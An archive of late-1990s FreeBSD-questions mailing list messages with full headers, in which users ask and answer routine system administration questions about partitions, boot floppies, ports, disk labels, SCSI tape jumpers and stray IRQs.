FreeBSD.ORG On Sun, 5 Apr 1998, Doug White wrote: => On Sat, 4 Apr 1998, Kevin G. Eliuk wrote: => => > => > Hello all, => > => > The error message "exec: makewhatis: not found" has shown up => > in my most recent '/etc/weekly', and I am having a little trouble => > deducing why. => => Try specifying the full path to makewhatis in weekly. Nope same results different message and for a good reason, I accidently destroyed my symbolic link to /usr/local/bin/perl. Thanks -- Regards and Best Wishes, | Way too many Bill-Boards on Kevin G. Eliuk | the information highway. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 21:37:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA17238 for freebsd-questions-outgoing; Sun, 5 Apr 1998 21:37:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA17233 for ; Sun, 5 Apr 1998 21:36:58 -0700 (PDT) (envelope-from anthony@sohopros.com) From: anthony@sohopros.com Received: from anthony.flashnet (fwasc18-122.flash.net [209.30.13.122]) by endeavor.flash.net (8.8.8/8.8.5) with SMTP id XAA17283 for ; Sun, 5 Apr 1998 23:36:57 -0500 (CDT) Message-Id: <3.0.32.19980405233557.008fb840@pop.flash.net> X-Sender: anthony@pop.flash.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 05 Apr 1998 23:35:59 -0500 To: freebsd-questions@FreeBSD.ORG Subject: help with ports? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm trying to get the port netscape4 from /pub/FreeBSD/ports-2.2.5/www/. On page 94 of "The Complete FreeBSD" the author says that since these are directories you must tell ftp to automatically to tar and gzip them by typing get xmbase-...tar.gz. xmbase-grok.tar.gz is the example he uses in the book. So if I what to get the port netscape4 I should be able to type get netscape4.tar.gz. When I try this I get a error message saying no such file exist. Can someone tell me what I'm doing wrong? Thanks Anthony... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 21:44:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA17925 for freebsd-questions-outgoing; Sun, 5 Apr 1998 21:44:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA17919 for ; Sun, 5 Apr 1998 21:44:34 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul1.u.washington.edu (root@saul1.u.washington.edu [140.142.82.10]) by jason04.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id VAA10876; Sun, 5 Apr 1998 21:44:33 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id VAA28394; Sun, 5 Apr 1998 21:44:32 -0700 (PDT) Date: Sun, 5 Apr 1998 20:43:21 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Chris Wianecki cc: freebsd-questions@FreeBSD.ORG Subject: Re: Dividing HD to partitions for FreeBSD In-Reply-To: <000701bd610b$96681520$34b3e6cd@pc1.perfekt.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Chris Wianecki wrote: > Hello, I am very new to FreeBSD, I have 4 gig HD and I installed the > HD to partitions during the installation of FreeBSD. I chosen > automatic assign, and what the install program set was / 30MB swap > 137MB /var 30MB /usr all the remaining space Everything would be fine > but I got lots of errors that /var has not enough space, I am How many users are on your system? If it is only you, then something is going on that is eating up that space. Are you storing files in '/var'? You should not. The same goes for '/'. The '/' partition should not grow in size very much at all. The biggest consumer of "variable" disc space under '/' is probably the '/etc' directory. All of the other files are pretty much unchanging. > suspecting that / dir would run our of free space pretty soon if it '/' should not run out of space per the above. Store all of your userland tarballs and such under '/usr'. I personally keep all of my distribution files under '/usr/ports' because that is where Jordan saw fit to put them. See 'man hier' for info on how and why the FreeBSD hierarchy is like it is. > didn't already. Can you advise me what is the best solution for the > partition sizes? I have 64mb of ram, so I understand that swap should > be like 128mb or 137 as it was chosen. I will probably want to > allocate 160MB, but I am not sure what I should do next, how much > aprox I should allocate for / or /usr or for /var also I want > something to be left for user directories as well if possible. Thank > you for your help. > > Chris For specific numbers listen to someone besides me. My answer was focused in on one small point that may not apply to you. Because you stated you were "new" to FreeBSD I jumped to a conclusion. Here is one consideration. If you have 100 users, and you want them to be allowed a 3MB mail spool file, then you should allot more than 300MB to '/var'. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 22:37:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA23984 for freebsd-questions-outgoing; Sun, 5 Apr 1998 22:37:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from baerle.indra.de (deuerl@baerle.indra.de [193.158.1.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA23972 for ; Sun, 5 Apr 1998 22:37:15 -0700 (PDT) (envelope-from deuerl@baerle.indra.de) Received: (from deuerl@localhost) by baerle.indra.de (8.8.8/8.8.8) id HAA24766 for freebsd-questions@freebsd.org; Mon, 6 Apr 1998 07:35:56 +0200 (MET DST) (envelope-from deuerl) From: Robert Deuerling Message-Id: <199804060535.HAA24766@baerle.indra.de> Subject: /dev/MAKEDEV To: freebsd-questions@FreeBSD.ORG Date: Mon, 6 Apr 1998 07:35:55 +0200 (MET DST) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, i was running 2.2.5-stable(now running 2.2.6-stable). Why does a '/dev/MAKEDEV all' not build entries for sd0s1x ....? Only after doing a /dev/MAKEDEV sd0s1a everything was built, including sd0s1b sd0s1c .... MAKEDEV only built entries for sd0x (sd0a, sd0b ...). so... that was the problem why the startup of 2.2.6 failed ;) -Regards To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 22:45:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA25567 for freebsd-questions-outgoing; Sun, 5 Apr 1998 22:45:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from abby.skypoint.net (abby.skypoint.net [199.86.32.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA25507 for ; Sun, 5 Apr 1998 22:45:32 -0700 (PDT) (envelope-from bruce@zuhause.mn.org) Received: (from uucp@localhost) by abby.skypoint.net (8.8.7/jl 1.3) with UUCP id AAA20514 for freebsd-questions@freebsd.org; Mon, 6 Apr 1998 00:45:30 -0500 (CDT) Received: (from bruce@localhost) by zuhause.mn.org (8.8.8/8.8.7) id AAA01237; Mon, 6 Apr 1998 00:37:22 -0500 (CDT) Date: Mon, 6 Apr 1998 00:37:22 -0500 (CDT) Message-Id: <199804060537.AAA01237@zuhause.mn.org> From: Bruce Albrecht To: freebsd-questions@FreeBSD.ORG Subject: Help! I think I wiped out a disk label X-Mailer: VM 6.34 under 20.3 "Vatican City" XEmacs Lucid Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just did an fdisk -f without specifying the drive name, and it wrote a new label to the wrong drive (oops). I don't have a copy of the fdisk for that drive, or I'd just rewrite it. The machine seems to be running just fine even the the label is totally wrong, so I know that the system somewhere knows where at least two of the slices are located, but I figure that I won't be able to reboot. Is there any way for me to extract the real locations so that I don't have to reload FreeBSD, Win95 and WinNT (fortunately, everything was backed up this afternoon, so I wouldn't lose anything except about 3-5 hours for the restores). Also, and the reason why I messed up in the first place, I'm getting: Apr 6 00:02:13 zuhause /kernel: sd4: cannot find label (no disk label) Apr 6 00:02:13 zuhause /kernel: sd4s2: cannot find label (no disk label) in the syslog and disklabel reports: disklabel: ioctl DIOCWDINFO: No space left on device on two of three identical drives. Any ideas on where I should go from here? The drives are basic empty, so it wouldn't be a major deal to recreate the partition tables with NT's disk adminstrator, if that would be the easiest solution. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 22:50:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA27472 for freebsd-questions-outgoing; Sun, 5 Apr 1998 22:50:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA27463 for ; Sun, 5 Apr 1998 22:50:40 -0700 (PDT) (envelope-from dmorrisn@u.washington.edu) Received: from u.washington.edu (D-128-95-253-128.dhcp.washington.edu [128.95.253.128]) by mailhost2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id WAA29521; Sun, 5 Apr 1998 22:50:27 -0700 Message-ID: <35286DCD.DA90F931@u.washington.edu> Date: Sun, 05 Apr 1998 22:53:17 -0700 From: Don Morrison X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.6-STABLE i386) MIME-Version: 1.0 To: "J.R.S. II" CC: Bob Hindla , freebsd-questions@FreeBSD.ORG Subject: Re: FreeBSD & SystemCommander References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Could you tell me which versions of system commander FreeBSD is compatible > > with? I have 2.2, should I upgrade to 3.0? > > 3.0 worked well for me but beware of the boot loader. A friend had a > problem!! > Yeah, I used to use it, you may have to hit a special key combination (was it alt-f9 or something?) to enter a secret options menu that has an option that does something special for some flavors of un*x. After that it worked great. If it's not alt-f9, look at their tech support web page for it, that's where I found out about it... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 23:00:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA29788 for freebsd-questions-outgoing; Sun, 5 Apr 1998 23:00:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gangrene.ecst.csuchico.edu (gangrene.ecst.csuchico.edu [132.241.9.86]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id WAA29621 for ; Sun, 5 Apr 1998 22:59:49 -0700 (PDT) (envelope-from mkrekel@ecst.csuchico.edu) Received: (qmail 8334 invoked from network); 5 Apr 1998 22:59:47 -0700 Received: from pmdyn157.dip.csuchico.edu (HELO ecst.csuchico.edu) (132.241.248.157) by gangrene.ecst.csuchico.edu with SMTP; 6 Apr 1998 05:59:47 -0000 Message-ID: <35287005.42214D16@ecst.csuchico.edu> Date: Sun, 05 Apr 1998 23:02:46 -0700 From: Matt Krekel X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: size of boot.flp file Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm going to attempt to install FreeBSD on my system off of a boot disk. I have downloaded the file boot.flp. I cannot copy the file over to a 3.5" disk because the size of the file is too large. Am I doing something wrong here? Or should I stop being cheap and just spend the money to get the CD-rom? : ) Thank you for you time with the imcompitant!! Matt Krekel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 23:20:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA04728 for freebsd-questions-outgoing; Sun, 5 Apr 1998 23:20:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.capgemini.com.sg ([203.116.11.115]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA04718 for ; Sun, 5 Apr 1998 23:20:43 -0700 (PDT) (envelope-from fschan@capgemini.com.sg) Received: from capgemini.com.sg (CHAN.capgemini.com.sg [165.198.101.47]) by mail.capgemini.com.sg (post.office MTA v2.0 0813 ID# 0-16936) with ESMTP id AAA147 for ; Mon, 6 Apr 1998 14:09:59 +0800 Message-ID: <35287459.A8C96DA1@capgemini.com.sg> Date: Mon, 06 Apr 1998 14:21:14 +0800 From: fschan@capgemini.com.sg (Chan, Fook Sheng) X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: can't copy boot.flp to a floppy Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi I get "boot.flp - File is too big" when I run "fdimage boot.flp a:" Pls help. Regards, chan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 23:25:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA06536 for freebsd-questions-outgoing; Sun, 5 Apr 1998 23:25:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pili.adn.edu.ph (art@pili.adn.edu.ph [165.220.57.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA06477 for ; Sun, 5 Apr 1998 23:25:11 -0700 (PDT) (envelope-from art@pili.adn.edu.ph) Received: from localhost (art@localhost) by pili.adn.edu.ph (8.8.7/8.8.7) with SMTP id OAA00403 for ; Mon, 6 Apr 1998 14:34:02 +0800 (PHT) (envelope-from art@pili.adn.edu.ph) Date: Mon, 6 Apr 1998 14:34:02 +0800 (PHT) From: Arthur Alacar cc: questions@FreeBSD.ORG Subject: segmentation fault In-Reply-To: <19971210233439.8292.rocketmail@send1b.yahoomail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG GOOD DAY!! am running freebsd-2.2.5 and is working with postgreSQL-6.2.1 the problem is everytime i give a query with a large resulting table, the application always returns a segmentation fault.. i believed it is because of having not enough memory allocating these resulting tables..i have 64MB of RAM ... and 200MB of swap space.. everytime i give a query for this application, i am checking system resources through 'top' and it shows out that only 16MB of memory is being allocated for this program and swap space is untouched... .... the question is... how can i let my programs used my swap space so that it never return this error...thank you :) .a.r.t. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 00:06:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA12022 for freebsd-questions-outgoing; Mon, 6 Apr 1998 00:06:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns1.1connect.com (root@ns1.1connect.com [206.171.23.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA12013 for ; Mon, 6 Apr 1998 00:06:15 -0700 (PDT) (envelope-from jhsieh@1connect.com) Received: from 1connect.com (ppp-207-214-211-110.sntc01.pacbell.net [207.214.211.110]) by ns1.1connect.com (8.7.3/8.7.3) with ESMTP id AAA17777 for ; Mon, 6 Apr 1998 00:18:07 -0700 (PDT) Message-ID: <35288B59.EF3674D9@1connect.com> Date: Mon, 06 Apr 1998 00:59:21 -0700 From: "Jack T. Hsieh" X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: questions@FreeBSD.ORG Subject: Importanting BSDI users Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, We are a company using BSDI 2.1. Now we are testing the performance for FBSD 2.2.5. Here is the question: how can I import the user files from BSDI to FBSD ? Thanks in advance Jack To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 00:13:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA13139 for freebsd-questions-outgoing; Mon, 6 Apr 1998 00:13:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from iclub.nsu.ru (iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA13102; Mon, 6 Apr 1998 00:13:01 -0700 (PDT) (envelope-from semen@iclub.nsu.ru) Received: from localhost (semen@localhost) by iclub.nsu.ru (8.8.8/8.8.5) with SMTP id OAA05707; Mon, 6 Apr 1998 14:12:57 +0700 (NSS) Date: Mon, 6 Apr 1998 14:12:56 +0700 (NSS) From: Ustimenko Semen To: Doug White cc: Malte Lance , questions@FreeBSD.ORG, freebsd-scsi@FreeBSD.ORG Subject: Re: jumper-setting for SONY SDT-7000 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Doug White wrote: > On Sat, 4 Apr 1998, Malte Lance wrote: > > > Does anyone have detailed info on the meaning of the > > jumpers "DC Disable" and "Terminator Power" for the > > SONY SDT-7000 ? > > ... > > That might explain `DC Disable'. I'm tempted to think `Data Compression > Disable'. `Terminator Power' selects the source of terminator power; it > should be set to come from the SCSI Bus. > As i've discovered on SDT-7000 Data Compression can not be controlled by software, and it is enabled unless you disable it by jumper. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 00:29:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA15318 for freebsd-questions-outgoing; Mon, 6 Apr 1998 00:29:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cc.ac.kharkov.ua (greg@cc.ac.kharkov.ua [194.44.235.241]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA15309 for ; Mon, 6 Apr 1998 00:29:36 -0700 (PDT) (envelope-from greg@cc.ac.kharkov.ua) Received: from localhost (greg@localhost) by cc.ac.kharkov.ua (8.8.4/8.8.4) with SMTP id JAA01957; Mon, 6 Apr 1998 09:26:48 +0300 Date: Mon, 6 Apr 1998 09:26:48 +0300 (EET DST) From: Gregory Edigarov To: Kris Katsulis cc: freebsd-questions@FreeBSD.ORG Subject: Re: free bsd installation In-Reply-To: <35246123.5896AA2C@gvi.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello ! If you already have FreeBSD, then don't warry... Only backup your live configuration, then choose upgrade in sysinstall. You will get working systemm. On Thu, 2 Apr 1998, Kris Katsulis wrote: > I would like to install freebsd onto my current system using an ftp > connection leaving me capable of using either my old configuration or my > new one. how do i do this? > > Kris > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > With best regards, Gregory Edigarov greg@cc.ac.kharkov.ua To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 00:35:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA16354 for freebsd-questions-outgoing; Mon, 6 Apr 1998 00:35:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from minotaur.labyrinth.net.au (minotaur.labyrinth.net.au [203.9.148.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA16324 for ; Mon, 6 Apr 1998 00:35:39 -0700 (PDT) (envelope-from stoke@mindless.com) Received: (from uucp@localhost) by minotaur.labyrinth.net.au (8.8.6/8.8.6) id SAA08779 for questions@freebsd.org; Mon, 6 Apr 1998 18:12:43 +1000 (EST) Received: from minerva-as21.labyrinth.net.au(203.23.74.21), claiming to be "mindless.com" via SMTP by minotaur.labyrinth.net.au, id smtpdAAAa08772; Mon Apr 6 18:12:39 1998 Message-ID: <352885C7.47B63342@mindless.com> Date: Mon, 06 Apr 1998 07:35:35 +0000 From: Rod May Organization: not much X-Mailer: Mozilla 4.04 [en] (X11; I; Linux 2.0.33 i586) MIME-Version: 1.0 To: questions@FreeBSD.ORG Subject: fbsd aliases Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi :) at the extreme risk of making you grouchy :0 can you think of any reason why a quake server which runs fine under linux emulation (uses a range of udp ports) will not work when given the '-ip x.x.x.x' parameter which says "bind to a different ip" (always an alias ip). The -ip works fine under linux and the aliases under fbsd are healthy. Any ideas or pointers? any help/info very much appreciated.... :) Cheers :) stoke@mindless.com Rod May. stoke@labyrinth.net.au --====================================================================-- Windows95: n. 32 bit extensions and a graphical shell for a 16 bit patch to an 8 bit operating system originally coded for a 4 bit microprocessor, written by a 2 bit company, that can't stand 1 bit of competition. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 02:22:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA27057 for freebsd-questions-outgoing; Mon, 6 Apr 1998 02:22:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from maild.telia.com (root@maild.telia.com [194.22.190.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA27050 for ; Mon, 6 Apr 1998 02:22:09 -0700 (PDT) (envelope-from khaled@internwww.telia.net) Received: from internwww.telia.net (khaled@internwww.telia.net [194.22.190.30]) by maild.telia.com (8.8.8/8.8.8) with ESMTP id LAA06049; Mon, 6 Apr 1998 11:21:59 +0200 (CEST) Received: (from khaled@localhost) by internwww.telia.net (8.8.5/8.6.12) id LAA25351; Mon, 6 Apr 1998 11:21:47 +0200 (MET DST) Date: Mon, 6 Apr 1998 11:21:47 +0200 (MET DST) From: Khaled Daham To: Leo Papandreou cc: Joe McGuckin , questions@FreeBSD.ORG Subject: Re: Stray IRQ?? In-Reply-To: <19980405231705.29221@supersex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Leo Papandreou wrote: > On Sun, Apr 05, 1998 at 07:44:29PM -0700, Joe McGuckin wrote: > > > > > > What does this mean ? > > > > Crappy motherboard. Harmless. I used to get those in 2.1 > until I re-enable the parallel port back into the kernel. Doesnt stray irq mean that the os expects the devices the have the irq's set by the bios/hardware and none is reporting any irq to be used or two slots have the same irq set in bios for example ?!? > > None of the probe messages indicate that there is a device at IRQ 7. > > id suggest checking your bios , most probably your pci slots have irq 7 set .. > > > > www6 kernel log messages: > > > FreeBSD 2.2.6-RELEASE #0: Fri Apr 3 07:13:07 PST 1998 > > > joe@www6.via.net:/usr/src/sys/compile/WWW > > > avail memory = 391970816 (382784K bytes) > > > stray irq 7 > > > stray irq 7 > > > stray irq 7 > > > > > > Thanks, > > > > joe > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > /Khaled, Telia Network Services Mail: khaled@telia.net Cell: 070-6785492 Work: 08-4567281 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 02:50:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA29643 for freebsd-questions-outgoing; Mon, 6 Apr 1998 02:50:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cyclone.degnet.baynet.de (www.degnet.baynet.de [194.95.214.129]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id CAA29635; Mon, 6 Apr 1998 02:50:23 -0700 (PDT) (envelope-from malte@webmore.com) Received: from bachus (unverified [194.95.214.188]) by cyclone.degnet.baynet.de (EMWAC SMTPRS 0.83) with SMTP id ; Mon, 06 Apr 1998 11:47:52 +0200 Message-Id: <3.0.32.19980406113752.006d6670@cyclone.degnet.baynet.de> X-Sender: moos@cyclone.degnet.baynet.de X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 06 Apr 1998 11:37:53 +0000 To: Doug White From: Malte Lance Subject: Re: jumper-setting for SONY SDT-7000 Cc: questions@FreeBSD.ORG, freebsd-scsi@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 15:52 05.04.98 -0700, you wrote: >On Sat, 4 Apr 1998, Malte Lance wrote: >> Does anyone have detailed info on the meaning of the >> jumpers "DC Disable" and "Terminator Power" for the >> SONY SDT-7000 ? >Hm. >From the Sony web page >http://www.ita.sel.sony.com/support/storage/faqs/dat.html#1: > How does one set the SCSI ID, termination, > term power, or parity on the SDT-5000/5200 > tape drive? > > Please refer to the SDT-5000/5200 Jumper > Setting document. A FAX copy of the SDT- > 5000/5200 Jumper Settings document can be > obtained by calling the Sony FAX Retrieval System > at 1-800-883-7669, document 5761. Nice service when you can call it. It is not possible from germany. :( The german Sony-center is too ignorant to provide that kind of service/ support. 2 x :( >That might explain `DC Disable'. I'm tempted to think `Data Compression >Disable'. Me too, but then why is it listed under the category "Terminators" ??? >`Terminator Power' selects the source of terminator power; it >should be set to come from the SCSI Bus. The labels for open/close-position of this jumper are "provided" and "Not provided". What should i choose ? (Ok ok ... answer it anyway please, since i want to be sure, other people understand it the same way i do). Why should it be set to "come from the SCSI Bus" ??? Why not set it to "get power for active termination on its own and not supply it to the SCSI Bus" ? Thanks for your help. Malte Lance malte@webmore.com > >Doug White | University of Oregon >Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant >http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 02:54:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA00505 for freebsd-questions-outgoing; Mon, 6 Apr 1998 02:54:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from Cobra.MIA.Gov.UA (root@ns.mia.gov.ua [194.44.176.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA00419 for ; Mon, 6 Apr 1998 02:54:11 -0700 (PDT) (envelope-from alex@mia.gov.ua) Received: from stone.mia.gov.ua (stone.mia.gov.ua [194.44.176.4]) by Cobra.MIA.Gov.UA (8.8.5/8.8.5) with ESMTP id MAA11371 for ; Mon, 6 Apr 1998 12:53:50 +0300 (EET DST) Received: from mia.gov.ua (stone [194.44.176.4]) by stone.mia.gov.ua (8.8.8/8.8.8) with ESMTP id MAA03901 for ; Mon, 6 Apr 1998 12:54:01 +0300 (EET DST) Message-ID: <3528A639.C4755332@mia.gov.ua> Date: Mon, 06 Apr 1998 12:54:01 +0300 From: Alexander Ignatyev Organization: TS SRC MIA of Ukraine X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5 sun4m) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: time restriction from login.conf Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does FreeBSD 2.2.6 support time restriction from variables defined in login.conf (such as idletime, daytime etc.)? Or what software can support this option? Thanks. -- Alexander V. Ignatyev | Tel. +380 44-291-1560 Fax. +380 44-291-1474 alex@mia.gov.ua | Institutsky 29a, 252021 Kyiv (Ukraine) AVI50-RIPE | TS SRC MIA of Ukraine http://www.mia.gov.ua To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 04:40:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA11319 for freebsd-questions-outgoing; Mon, 6 Apr 1998 04:40:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from firewall.uk.dmg.deuba.com ([194.196.205.2]) by hub.freebsd.org (8.8.8/8.8.8) 